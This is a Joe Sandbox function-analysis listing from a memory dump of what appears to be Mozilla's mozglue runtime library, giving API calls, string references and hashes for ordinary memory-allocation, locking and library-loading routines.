Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 4b933ec47fa225b866a68abdb73698c5d901b1be47a2eadcac934f0e0a13d188
Instruction ID: 185350884b4a9a65cb1b1a9b4345ca22267077901a7e4d5e92b17235fe8d8650
Opcode Fuzzy Hash: 4b933ec47fa225b866a68abdb73698c5d901b1be47a2eadcac934f0e0a13d188
Instruction Fuzzy Hash: B73170B5A043059FD744CF24D984A9ABBF4FF89314F00892EE85A97741DB30E959CF92

Function 6CA9FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CABD019,?,?,?,?,?,00000000,?,6CAADA31,00100000,?), ref: 6CA9FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CABD019,?,?,?,?,?,00000000,?,6CAADA31,00100000,?,?), ref: 6CA9FFF5
free.MOZGLUE(?,?,?,?,?,6CABD019,?,?,?,?,?,00000000,?,6CAADA31,00100000,?), ref: 6CAA001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CABD019,?,?,?,?,?,00000000,?,6CAADA31,00100000,?,?), ref: 6CAA002A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: c12bc1d3b4757494b0d306515c8f8a2b7d03b83c74bb828902eccd30bf71d72e
Instruction ID: 2348fd79bb9d01dee40de42f0722b8f1bf6231b975bf524468beb19deded7d3e
Opcode Fuzzy Hash: c12bc1d3b4757494b0d306515c8f8a2b7d03b83c74bb828902eccd30bf71d72e
Instruction Fuzzy Hash: D62106B2A002155FD7189E7DDC848AFB7FAFB853243250338E426D7780EB30AD4682E1

Function 6CA7B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA7B4F5
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7B502
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7B542
free.MOZGLUE(?), ref: 6CA7B578

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 49f085ccfab973bf54a59ff31b45290c92c5d4171d491f14589f9ce3ddf5cb48
Instruction ID: 366e3110e5e6350e9768a8c5b666c5d5074523ba40e3269c13786e9574f1dcec
Opcode Fuzzy Hash: 49f085ccfab973bf54a59ff31b45290c92c5d4171d491f14589f9ce3ddf5cb48
Instruction Fuzzy Hash: 6811D675A04B46CBD7228F29E9047A1B3B5FFDA318F14970ED84A53A01EBB1B1C597E0

Function 6CAA3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA6F20E,?), ref: 6CAA3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA6F20E,00000000,?), ref: 6CAA3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAA3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAA3E0E

Part of subcall function 6CA9CC00: GetCurrentProcess.KERNEL32(?,?,6CA631A7), ref: 6CA9CC0D
Part of subcall function 6CA9CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA631A7), ref: 6CA9CC16

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 705526fd005c5cc934d44185333bc5036eec512a8e5b64246225b026ccff2da5
Instruction ID: 547da9f9e36fd23cfb1584dbcd18c2384330538ed73a327fe0248a2abd5a663a
Opcode Fuzzy Hash: 705526fd005c5cc934d44185333bc5036eec512a8e5b64246225b026ccff2da5
Instruction Fuzzy Hash: 5BF082715003097BDB04AB94EC46DAB376DDB4A628F054024FD0917700D635FD5A9BF7

Function 6CAB20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAB20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CA9FBD1), ref: 6CAB20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CA9FBD1), ref: 6CAB20DA
free.MOZGLUE(00000000,?,6CA9FBD1), ref: 6CAB20F1

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 3142efa0c823aadd7b6d8c1f4ad25db290469028648d35cdd2f10080c277647f
Instruction ID: 8906c0a8b38c7cb07ada220574314651c9d1384d71d399719795a44836901a7c
Opcode Fuzzy Hash: 3142efa0c823aadd7b6d8c1f4ad25db290469028648d35cdd2f10080c277647f
Instruction Fuzzy Hash: C3E0E5316007158BC2209F25E80C68EB7FDEF8A214B04032BE40A93B00D775A98A87D9

Function 6CAB85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAB85D3

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAB8725

Strings

map/set<T> too long, xrefs: 6CAB8720

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 3ae6140a9594608e5e12242dc4118fa62c92db402444b37eaa1b6d425a2bc1a3
Instruction ID: 75c1540af845f619d52f1637075da70f43527178c22cb8a6ee9fda9bacd0ee33
Opcode Fuzzy Hash: 3ae6140a9594608e5e12242dc4118fa62c92db402444b37eaa1b6d425a2bc1a3
Instruction Fuzzy Hash: 75517774A00686CFD701CF18C194B96BBF5BF4A318F18C19AD8596BB52C335E885CF92

Function 6CA6BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA6BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA6BE8F

Strings

0, xrefs: 6CA6BE5B

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: dbadf1dde6db4f87a9e18f4489a48e2a321055ea27984156ece5df4105c4744e
Instruction ID: 7a0ee3dacf50476c6e558c97ec74f699cba3c0403560ac4f237194407117c4d3
Opcode Fuzzy Hash: dbadf1dde6db4f87a9e18f4489a48e2a321055ea27984156ece5df4105c4744e
Instruction Fuzzy Hash: 2E41C271908745CFC311CF3AD481A9BB7F4AF8A348F008B1DF9855BA11D730D9999B82

Function 6CAA3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAA3D6C

Strings

d, xrefs: 6CAA3D58

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 4e45fe712c517d13cc52a05667c8c1385a5438523ba0a8c9c93553e952be8aad
Instruction ID: 26480d3ea245e8f96332cfee04d77a6c153288d26fd1f42432761963f6b206ce
Opcode Fuzzy Hash: 4e45fe712c517d13cc52a05667c8c1385a5438523ba0a8c9c93553e952be8aad
Instruction Fuzzy Hash: A8110431E04789DBDF048BA9C8144EDB775EF8A218B488718DC85A7612EB30E5CAC790

Function 6CA74730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA744B2,6CAEE21C,6CAEF7F8), ref: 6CA7473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA7474A

Strings

GetNtLoaderAPI, xrefs: 6CA74744

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: b2d736c98a91a471a0a5758d718a11dd0229aec3a528cf28d5dd57f50567aa55
Instruction ID: d38de5a37de24cc6278a3df61c1ce7fcff72503950612b2e064c140d2f6da793
Opcode Fuzzy Hash: b2d736c98a91a471a0a5758d718a11dd0229aec3a528cf28d5dd57f50567aa55
Instruction Fuzzy Hash: 060180793003168FDF089F6998486297BB9FB4E311F098069E905C7300CB74D8029FE1

Function 6CAC6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAC6E22
__Init_thread_footer.LIBCMT ref: 6CAC6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAC6E1D

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4b977ac3ac77b0307930569aa055e81a94534d8561355bda6976c927c5f7ad1c
Instruction ID: eb9514893a84f036f58396a6958784844c83c5abb5e4a614d91ca076152459b7
Opcode Fuzzy Hash: 4b977ac3ac77b0307930569aa055e81a94534d8561355bda6976c927c5f7ad1c
Instruction Fuzzy Hash: 75F024307063C28FDA04CB68ED50AE13772E38B218F08816ACC0446B51DB20A987FBE3

Function 6CA79E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA79EEF

Strings

NaN, xrefs: 6CA79EC1
Infinity, xrefs: 6CA79EB7

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 2d710fe19f686392907a5f68e9d1f58a8dd35a2706707a2538351840981739f1
Instruction ID: 2e074746e48a8dc9f0ba1440fdb6d456d302142bf1a086b0fdceeb9b842698a7
Opcode Fuzzy Hash: 2d710fe19f686392907a5f68e9d1f58a8dd35a2706707a2538351840981739f1
Instruction Fuzzy Hash: F0F069716023468ADA458B18FD866913BB1F74F31DF248A1ECA040AB40D7356987ABE2

Function 6CA7BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CA7BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CA7BEF5

Strings

cryptbase.dll, xrefs: 6CA7BEF0

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 222b179ec4c4583e5d33f0f289cede81bf714e29660b2e49560a00e0b03a2e14
Instruction ID: 0258cdc89d1364cc7c61081d6e1515586943afa652c9fb6299e10fe3d2745ed5
Opcode Fuzzy Hash: 222b179ec4c4583e5d33f0f289cede81bf714e29660b2e49560a00e0b03a2e14
Instruction Fuzzy Hash: 88D023311C0308EBD7546B90AC0DF153778B705715F10C120F30544951C7B09491DFE4

Function 6CA650E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA64E9C,?,?,?,?,?), ref: 6CA6510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA64E9C,?,?,?,?,?), ref: 6CA65167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CA65196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA64E9C), ref: 6CA65234

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 6d061bd7ae231a4485ac743acafa862cd57051d04900ab54fa6203826765ded4
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: A891C175505656CFCB14CF19C890A56BBA1FF89318B29868CDC589BB16D331FC86CBE0

Function 6CAA08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CAA0918
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CAA09A6
EnterCriticalSection.KERNEL32(6CAEE7DC,?,00000000), ref: 6CAA09F3
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CAA0ACB

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 920680366812dc054bdb136e15ca2d00ed6fd4acf0b85779cf2cb3a1c3cb2a47
Instruction ID: c4538f115ee4bdefb5ccdb4536d164b7a6bd4fbc7c619cd372f3d118a36d72c9
Opcode Fuzzy Hash: 920680366812dc054bdb136e15ca2d00ed6fd4acf0b85779cf2cb3a1c3cb2a47
Instruction Fuzzy Hash: A4514B327017558FEB089AD5D45476673B1EB8AB24B29C23AD96797F80D730E8C397C0

Function 6CABB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CABB2C9,?,?,?,6CABB127,?,?,?,?,?,?,?,?,?,6CABAE52), ref: 6CABB628

Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB90FF
Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CABB2C9,?,?,?,6CABB127,?,?,?,?,?,?,?,?,?,6CABAE52), ref: 6CABB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CABB2C9,?,?,?,6CABB127,?,?,?,?,?,?,?,?,?,6CABAE52), ref: 6CABB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CABB127,?,?,?,?,?,?,?,?), ref: 6CABB74D

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 105623b95ad756f5730c2193ee75fe415f61d945270611a97f99308c259c7772
Instruction ID: 764f45e831e3d2a001e99b3d43893bc5011f276cdc6653e740662a37ee062f89
Opcode Fuzzy Hash: 105623b95ad756f5730c2193ee75fe415f61d945270611a97f99308c259c7772
Instruction Fuzzy Hash: B751CD71A023168FDB14CF18E9C06AEB7B9FF45304F498669C85ABB700D731AC84CBA1

Function 6CABDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAAFF2A), ref: 6CABDFFD

Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB90FF
Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAAFF2A), ref: 6CABE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAAFF2A), ref: 6CABE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CAAFF2A), ref: 6CABE0FE

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 61bd176cfcdac9a8a1d62667ea4848b9ca545e429a3a28fee8e9476a52da7a56
Instruction ID: 90844cc2fb9fa220c8c92671ed8058dbf967b9c5a9553ef9c86df035d57ecccf
Opcode Fuzzy Hash: 61bd176cfcdac9a8a1d62667ea4848b9ca545e429a3a28fee8e9476a52da7a56
Instruction Fuzzy Hash: 1841B2B16442168FEB14CF68D88035A77BAFB45308F284979D516EB740E732E985CBD2

Function 6CAB6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CAB6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CAB6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAB6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB6F5C

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: c748cb08147d0aba5837cc12f7ce5dd8ea46cf2e4d033f8d8de1c3d0ba4e43e6
Instruction ID: 9ae885a6e1989347a0b116645906c66f0a67d716eb34ed5b3e5c73cae34f9c6a
Opcode Fuzzy Hash: c748cb08147d0aba5837cc12f7ce5dd8ea46cf2e4d033f8d8de1c3d0ba4e43e6
Instruction Fuzzy Hash: 6731C471A1060A8FDB08CF3CC9816AA73F9FB85344F548539D41AD7651EB31E699C790

Function 6CACB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA70A4D), ref: 6CACB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA70A4D), ref: 6CACB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA70A4D), ref: 6CACB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA70A4D), ref: 6CACB67F

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 317ff2b483ef46866a668315a748178975ad7b22d6b4ee2ad2fc1cf35ec493ca
Instruction ID: f1c3c0d2c2f9ba363cf920021bf003eeadd6d4f50927d0e1926645cba0e51d9a
Opcode Fuzzy Hash: 317ff2b483ef46866a668315a748178975ad7b22d6b4ee2ad2fc1cf35ec493ca
